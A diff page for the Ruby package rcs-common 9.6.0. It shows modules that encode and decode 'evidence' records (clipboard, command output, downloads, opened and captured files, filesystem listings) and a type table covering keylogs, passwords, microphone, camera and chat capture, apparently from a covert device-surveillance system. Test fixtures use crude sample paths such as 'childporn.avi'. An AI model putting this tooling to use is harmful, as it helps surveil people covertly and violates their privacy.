rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,58 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module ClipboardEvidence
6
+
7
+ ELEM_DELIMITER = 0xABADC0DE
8
+
9
+ def content
10
+ process = ["Notepad.exe", "Sykpe.exe", "Writepad.exe"].sample.to_utf16le_binary_null
11
+ window = ["New Document", "Chat", "Test.doc"].sample.to_utf16le_binary_null
12
+ content = StringIO.new
13
+ t = Time.now.getutc
14
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
15
+ content.write process
16
+ content.write window
17
+ content.write ["1234567890", "bla bla bla", "this is a string that will be copied"].sample.to_utf16le_binary_null
18
+ content.write [ ELEM_DELIMITER ].pack('L')
19
+
20
+ content.string
21
+ end
22
+
23
+ def generate_content
24
+ ret = Array.new
25
+ 10.rand_times { ret << content() }
26
+ ret
27
+ end
28
+
29
+ def decode_content(common_info, chunks)
30
+ stream = StringIO.new chunks.join
31
+
32
+ until stream.eof?
33
+ info = Hash[common_info]
34
+ info[:data] = Hash.new if info[:data].nil?
35
+
36
+ tm = stream.read 36
37
+ info[:da] = Time.gm(*tm.unpack('L*'), 0)
38
+ info[:data][:program] = ''
39
+ info[:data][:window] = ''
40
+ info[:data][:content] = ''
41
+
42
+ process = stream.read_utf16le_string
43
+ info[:data][:program] = process.utf16le_to_utf8 unless process.nil?
44
+ window = stream.read_utf16le_string
45
+ info[:data][:window] = window.utf16le_to_utf8 unless window.nil?
46
+ clipboard = stream.read_utf16le_string
47
+ info[:data][:content] = clipboard.utf16le_to_utf8 unless clipboard.nil?
48
+
49
+ delim = stream.read(4).unpack("L*").first
50
+ raise EvidenceDeserializeError.new("Malformed CLIPBOARD (missing delimiter)") unless delim == ELEM_DELIMITER
51
+
52
+ yield info if block_given?
53
+ end
54
+ :delete_raw
55
+ end
56
+ end
57
+
58
+ end # ::RCS
@@ -0,0 +1,50 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module CommandEvidence
6
+
7
+ def content
8
+
9
+ raise "this evidence cannot be generated here"
10
+
11
+ # it is partiallly encrypted and partially not
12
+
13
+ end
14
+
15
+ def generate_content
16
+ [ content ]
17
+ end
18
+
19
+ def decode_additional_header(data)
20
+ raise EvidenceDeserializeError.new("incomplete COMMAND") if data.nil? or data.bytesize == 0
21
+
22
+ ret = Hash.new
23
+ ret[:data] = Hash.new
24
+
25
+ binary = StringIO.new data
26
+ ret[:data][:command] = binary.read_ascii_string
27
+
28
+ ret
29
+ end
30
+
31
+ def decode_content(common_info, chunks)
32
+ stream = StringIO.new chunks.join
33
+
34
+ output = stream.read
35
+
36
+ info = Hash[common_info]
37
+
38
+ info[:grid_content] = output unless output.nil?
39
+
40
+ info[:data] ||= Hash.new
41
+ info[:data][:content] = output.safe_utf8_encode_invalid unless output.nil?
42
+ info[:data][:content] ||= ''
43
+
44
+ yield info if block_given?
45
+
46
+ :delete_raw
47
+ end
48
+ end
49
+
50
+ end # ::RCS
@@ -0,0 +1,78 @@
1
+
2
+ require 'rcs-common'
3
+
4
+ module RCS
5
+
6
+ EVIDENCE_TYPES = { 0x0240 => :DEVICE,
7
+ 0xFFF1 => :DEVICE, # for scout
8
+ 0x0140 => :CALL,
9
+ 0x0230 => :CALLLISTOLD,
10
+ 0x0231 => :CALLLIST,
11
+ 0xC2C2 => :MIC,
12
+ 0x0241 => :INFO,
13
+ 0xB9B9 => :SCREENSHOT,
14
+ 0xFFF2 => :SCREENSHOT, # for scout
15
+ 0x0040 => :KEYLOG,
16
+ 0xE9E9 => :CAMERA,
17
+ 0xC6C6 => :CHATOLD,
18
+ 0xC6C7 => :CHAT,
19
+ 0xC6C8 => :CHAT, # skype (new)
20
+ 0xC6C9 => :CHATMM, # chat multi media
21
+ 0x0300 => :CHATOLD, # skype (old)
22
+ 0x0301 => :CHATOLD, # social
23
+ 0x0280 => :MOUSE,
24
+ 0x0100 => :PRINT,
25
+ 0x0180 => :URL,
26
+ 0x0181 => :URLCAPTURE,
27
+ 0xD9D9 => :CLIPBOARD,
28
+ 0xFAFA => :PASSWORD,
29
+ 0x0000 => :FILEOPEN, #file
30
+ 0x0001 => :FILECAP, #file
31
+ 0x1011 => :APPLICATION,
32
+ 0xD0D0 => :DOWNLOAD, #file
33
+ 0x1220 => :POSITION,
34
+ 0xEDA1 => :FILESYSTEM,
35
+ 0x1001 => :MAIL,
36
+ 0x0211 => :SMSOLD,
37
+ 0x0213 => :SMS,
38
+ 0x0212 => :MMS, #message
39
+ 0x0200 => :ADDRESSBOOK,
40
+ 0x0250 => :IADDRESSBOOK,
41
+ 0x0201 => :CALENDAR,
42
+ 0x0202 => :TASK,
43
+ 0xc0c0 => :COMMAND,
44
+ 0xc0c1 => :EXEC,
45
+ 0xB1C0 => :MONEY,
46
+ 0xF070 => :PHOTO}
47
+
48
+ class EvidenceDeserializeError < StandardError
49
+ attr_reader :msg
50
+
51
+ def initialize(msg)
52
+ @msg = msg
53
+ end
54
+
55
+ def to_s
56
+ @msg
57
+ end
58
+ end
59
+
60
+ class EmptyEvidenceError < StandardError
61
+ attr_reader :msg
62
+
63
+ def initialize(msg)
64
+ @msg = msg
65
+ end
66
+
67
+ def to_s
68
+ @msg
69
+ end
70
+ end
71
+
72
+ end # RCS::
73
+
74
+ class Integer
75
+ def rand_times(&block)
76
+ (rand(self-1)+1).times { yield }
77
+ end
78
+ end
@@ -0,0 +1,23 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module DeviceEvidence
6
+ def content
7
+ "The time is #{Time.now} and everything is ok... till now".to_utf16le_binary
8
+ end
9
+
10
+ def generate_content
11
+ [ content ]
12
+ end
13
+
14
+ def decode_content(common_info, chunks)
15
+ info = Hash[common_info]
16
+ info[:data] = Hash.new if info[:data].nil?
17
+ info[:data][:content] = chunks.join.utf16le_to_utf8
18
+ yield info if block_given?
19
+ :delete_raw
20
+ end
21
+ end
22
+
23
+ end # RCS::
@@ -0,0 +1,54 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'digest/md5'
4
+
5
+ module RCS
6
+
7
+ module DownloadEvidence
8
+
9
+ FILECAP_VERSION = 2008122901
10
+
11
+ def content
12
+ path = File.join(File.dirname(__FILE__), 'content', ['screenshot', 'print', 'camera', 'mouse', 'url'].sample, '001.jpg')
13
+ File.open(path, 'rb') {|f| f.read }
14
+ end
15
+
16
+ def generate_content
17
+ [ content ]
18
+ end
19
+
20
+ def additional_header
21
+ file_name = 'C:\\Users\\Bad Guy\\filedownload...'.to_utf16le_binary
22
+ header = StringIO.new
23
+ header.write [FILECAP_VERSION, file_name.size].pack("I*")
24
+ header.write file_name
25
+
26
+ header.string
27
+ end
28
+
29
+ def decode_additional_header(data)
30
+ raise EvidenceDeserializeError.new("incomplete DOWNLOAD") if data.nil? or data.bytesize == 0
31
+
32
+ binary = StringIO.new data
33
+
34
+ version, file_name_len = binary.read(8).unpack("I*")
35
+ raise EvidenceDeserializeError.new("invalid log version for DOWNLOAD") unless version == FILECAP_VERSION
36
+
37
+ ret = Hash.new
38
+ ret[:data] = Hash.new
39
+ ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
40
+ return ret
41
+ end
42
+
43
+ def decode_content(common_info, chunks)
44
+ info = Hash[common_info]
45
+ info[:data] = Hash.new if info[:data].nil?
46
+ info[:data][:type] = :capture
47
+ info[:grid_content] = chunks.join
48
+ info[:data][:size] = info[:grid_content].bytesize
49
+ yield info if block_given?
50
+ :delete_raw
51
+ end
52
+ end
53
+
54
+ end # ::RCS
@@ -0,0 +1,129 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'digest/md5'
4
+
5
+ module RCS
6
+
7
+ module FileopenEvidence
8
+
9
+ ELEM_DELIMITER = 0xABADC0DE
10
+
11
+ def content(*args)
12
+ hash = [args].flatten.first || {}
13
+
14
+ process = hash[:process] || ["Explorer.exe\0", "Firefox.exe\0", "Chrome.exe\0"].sample
15
+ process.encode!("US-ASCII")
16
+
17
+ path = hash[:path] || ["C:\\Utenti\\pippo\\pedoporno.mpg", "C:\\Utenti\\pluto\\Documenti\\childporn.avi", "C:\\secrets\\bomb_blueprints.pdf"].sample
18
+ path = path.to_utf16le_binary_null
19
+
20
+ content = StringIO.new
21
+ t = Time.now.getutc
22
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
23
+ content.write process
24
+ content.write [ 0 ].pack('L') # size hi
25
+ content.write [ hash[:size] || 123456789 ].pack('L') # size lo
26
+ content.write [ 0x80000000 ].pack('l') # access mode
27
+ content.write path
28
+ content.write [ ELEM_DELIMITER ].pack('L')
29
+ content.string
30
+ end
31
+
32
+ def generate_content(*args)
33
+ [content(*args)]
34
+ end
35
+
36
+ def decode_content(common_info, chunks)
37
+ stream = StringIO.new chunks.join
38
+
39
+ until stream.eof?
40
+ info = Hash[common_info]
41
+ info[:data] = Hash.new
42
+ info[:data][:type] = :open
43
+
44
+ tm = stream.read 36
45
+ info[:da] = Time.gm(*tm.unpack('l*'), 0)
46
+ info[:data][:program] = ''
47
+ info[:data][:path] = ''
48
+
49
+ process_name = stream.read_ascii_string
50
+ info[:data][:program] = process_name.force_encoding('US-ASCII') unless process_name.nil?
51
+
52
+ size_hi = stream.read(4).unpack("L").first
53
+ size_lo = stream.read(4).unpack("L").first
54
+ info[:data][:size] = size_hi << 32 | size_lo
55
+ info[:data][:access] = stream.read(4).unpack("l").first
56
+
57
+ file = stream.read_utf16le_string
58
+ info[:data][:path] = file.utf16le_to_utf8 unless file.nil?
59
+
60
+ delim = stream.read(4).unpack("L*").first
61
+ raise EvidenceDeserializeError.new("Malformed FILEOPEN (missing delimiter)") unless delim == ELEM_DELIMITER
62
+
63
+ yield info if block_given?
64
+ end
65
+ :delete_raw
66
+ end
67
+ end
68
+
69
+ module FilecapEvidence
70
+
71
+ FILECAP_VERSION = 2008122901
72
+
73
+ def content(*args)
74
+ bytes = [args].flatten.first || nil
75
+
76
+ if bytes
77
+ bytes
78
+ else
79
+ path = File.join(File.dirname(__FILE__), 'content', ['file'].sample, @file)
80
+ File.open(path, 'rb') {|f| f.read }
81
+ end
82
+ end
83
+
84
+ def generate_content(*args)
85
+ [ content(*args) ]
86
+ end
87
+
88
+ def additional_header(*args)
89
+ hash = [args].flatten.first || {}
90
+
91
+ path = hash[:path] || ["C:\\Documents\\Einstein.docx", "C:\\Documents\\arabic.docx"].sample
92
+ @file = path[path.rindex(/\\|\//)+1..-1]
93
+
94
+ path = path.to_utf16le_binary_null
95
+
96
+ header = StringIO.new
97
+ header.write [FILECAP_VERSION, path.size].pack("I*")
98
+ header.write path
99
+
100
+ header.string
101
+ end
102
+
103
+ def decode_additional_header(data)
104
+ raise EvidenceDeserializeError.new("incomplete FILECAP") if data.nil? or data.bytesize == 0
105
+
106
+ binary = StringIO.new data
107
+
108
+ version, file_name_len = binary.read(8).unpack("I*")
109
+ raise EvidenceDeserializeError.new("invalid log version for FILECAP") unless version == FILECAP_VERSION
110
+
111
+ ret = Hash.new
112
+ ret[:data] = Hash.new
113
+ ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
114
+ return ret
115
+ end
116
+
117
+ def decode_content(common_info, chunks)
118
+ info = Hash[common_info]
119
+ info[:data] = Hash.new if info[:data].nil?
120
+ info[:data][:type] = :capture
121
+ info[:grid_content] = chunks.join
122
+ info[:data][:size] = info[:grid_content].bytesize
123
+ info[:data][:md5] = Digest::MD5.hexdigest info[:grid_content]
124
+ yield info if block_given?
125
+ :delete_raw
126
+ end
127
+ end
128
+
129
+ end # ::RCS
@@ -0,0 +1,71 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module FilesystemEvidence
6
+
7
+ FILESYSTEM_VERSION = 2010031501
8
+ FILESYSTEM_IS_FILE = 0
9
+ FILESYSTEM_IS_DIRECTORY = 1
10
+ FILESYSTEM_IS_EMPTY = 2
11
+
12
+ def content(*args)
13
+ sequence = if args.empty?
14
+ [{path: '/', attr: 1}, {path: '/usr', attr: 1}, {path: '/usr/README', attr: 0, size: 12}]
15
+ else
16
+ [args].flatten
17
+ end
18
+
19
+ content = StringIO.new
20
+
21
+ sequence.each do |data|
22
+ path = data[:path].gsub("//", "/").to_utf16le_binary_null
23
+ content.write [FILESYSTEM_VERSION, path.bytesize, data[:attr], (data[:size] || 0), 0].pack("I*")
24
+ time = Time.now.getutc.to_filetime
25
+ content.write time.pack('L*')
26
+ content.write path
27
+ end
28
+
29
+ content.string
30
+ end
31
+
32
+ def generate_content(*args)
33
+ [content(*args)]
34
+ end
35
+
36
+ def decode_content(common_info, chunks)
37
+ stream = StringIO.new chunks.join
38
+
39
+ entries = []
40
+
41
+ until stream.eof?
42
+ version, path_len, attribute, size_lo, size_hi = stream.read(20).unpack("L*")
43
+ raise EvidenceDeserializeError.new("invalid log version for FILESYSTEM [#{version} != #{FILESYSTEM_VERSION}]") unless version == FILESYSTEM_VERSION
44
+
45
+ entry = {}
46
+ entry[:size] = Float((size_hi << 32) | size_lo)
47
+ entry[:attr] = attribute
48
+ low_time, high_time = *stream.read(8).unpack('L*')
49
+ entry[:da] = Time.from_filetime(high_time, low_time)
50
+
51
+ path = stream.read(path_len).terminate_utf16le
52
+
53
+ if path
54
+ entry[:path] = path.utf16le_to_utf8.gsub("\\\\", "\\")
55
+ entries << entry
56
+ end
57
+ end
58
+
59
+ if block_given? and entries.any?
60
+ info = Hash[common_info]
61
+ info[:data] ||= Hash.new
62
+ info[:data][:entries] = entries
63
+
64
+ yield(info)
65
+ end
66
+
67
+ :delete_raw
68
+ end
69
+ end
70
+
71
+ end # ::RCS